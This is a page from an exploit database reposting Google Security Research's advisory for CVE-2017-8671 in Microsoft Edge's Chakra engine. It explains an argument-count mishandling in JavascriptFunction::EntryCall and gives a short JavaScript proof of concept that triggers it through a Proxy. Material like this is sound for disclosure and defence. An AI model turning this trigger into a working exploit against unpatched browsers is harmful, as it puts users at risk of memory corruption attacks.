[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Microsoft Edge Chakra JavascriptFunction::EntryCall Mishandled CallInfo Exploit

Author
Google Security Research
Risk
[
Security Risk High
]
0day-ID
0day-ID-28290
Category
dos / poc
Date add
17-08-2017
CVE
CVE-2017-8671
Platform
windows
Microsoft Edge: Chakra: JavascriptFunction::EntryCall doesn't handle CallInfo properly 

CVE-2017-8671


Here's the method.
Var JavascriptFunction::EntryCall(RecyclableObject* function, CallInfo callInfo, ...)
{
    PROBE_STACK(function->GetScriptContext(), Js::Constants::MinStackDefault);

    RUNTIME_ARGUMENTS(args, callInfo);
    ScriptContext* scriptContext = function->GetScriptContext();

    Assert(!(callInfo.Flags & CallFlags_New));

    ///
    /// Check Argument[0] has internal [[Call]] property
    /// If not, throw TypeError
    ///
    if (args.Info.Count == 0 || !JavascriptConversion::IsCallable(args[0]))
    {
        JavascriptError::ThrowTypeError(scriptContext, JSERR_This_NeedFunction, _u("Function.prototype.call"));
    }

    RecyclableObject *pFunc = RecyclableObject::FromVar(args[0]);
    if (args.Info.Count == 1)
    {
        args.Values[0] = scriptContext->GetLibrary()->GetUndefined();
    }
    else
    {
        ///
        /// Remove function object from the arguments and pass the rest
        ///
        for (uint i = 0; i < args.Info.Count - 1; ++i)
        {
            args.Values[i] = args.Values[i + 1];
        }
        args.Info.Count = args.Info.Count - 1;
    }

    ///
    /// Call the [[Call]] method on the function object
    ///
    return JavascriptFunction::CallFunction<true>(pFunc, pFunc->GetEntryPoint(), args);
}

Chakra uses the first value of "args.Values" as "this" and "args.Info.Count - 1" as the length of the arguments. So "args.Info.Count" must always be 1 or greater. 

But the problem is that the method decrements "args.Info.Count" by one without considering the flag "CallFlags_ExtraArg". If the flag is set, the value of "args.Info.Count" will be decremented again in the next routine(ArgumentReader::AdjustArguments) because the last value of the arguments is not used as an actual argument. Therefore, the value of "args.Info.Count" becomes 0.

PoC:
function f() {
    print(arguments);
}

let call = new Proxy(Function.prototype.call, {});  // proxy calls set the flag
call.call(f);


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

#  0day.today [2024-12-26]  #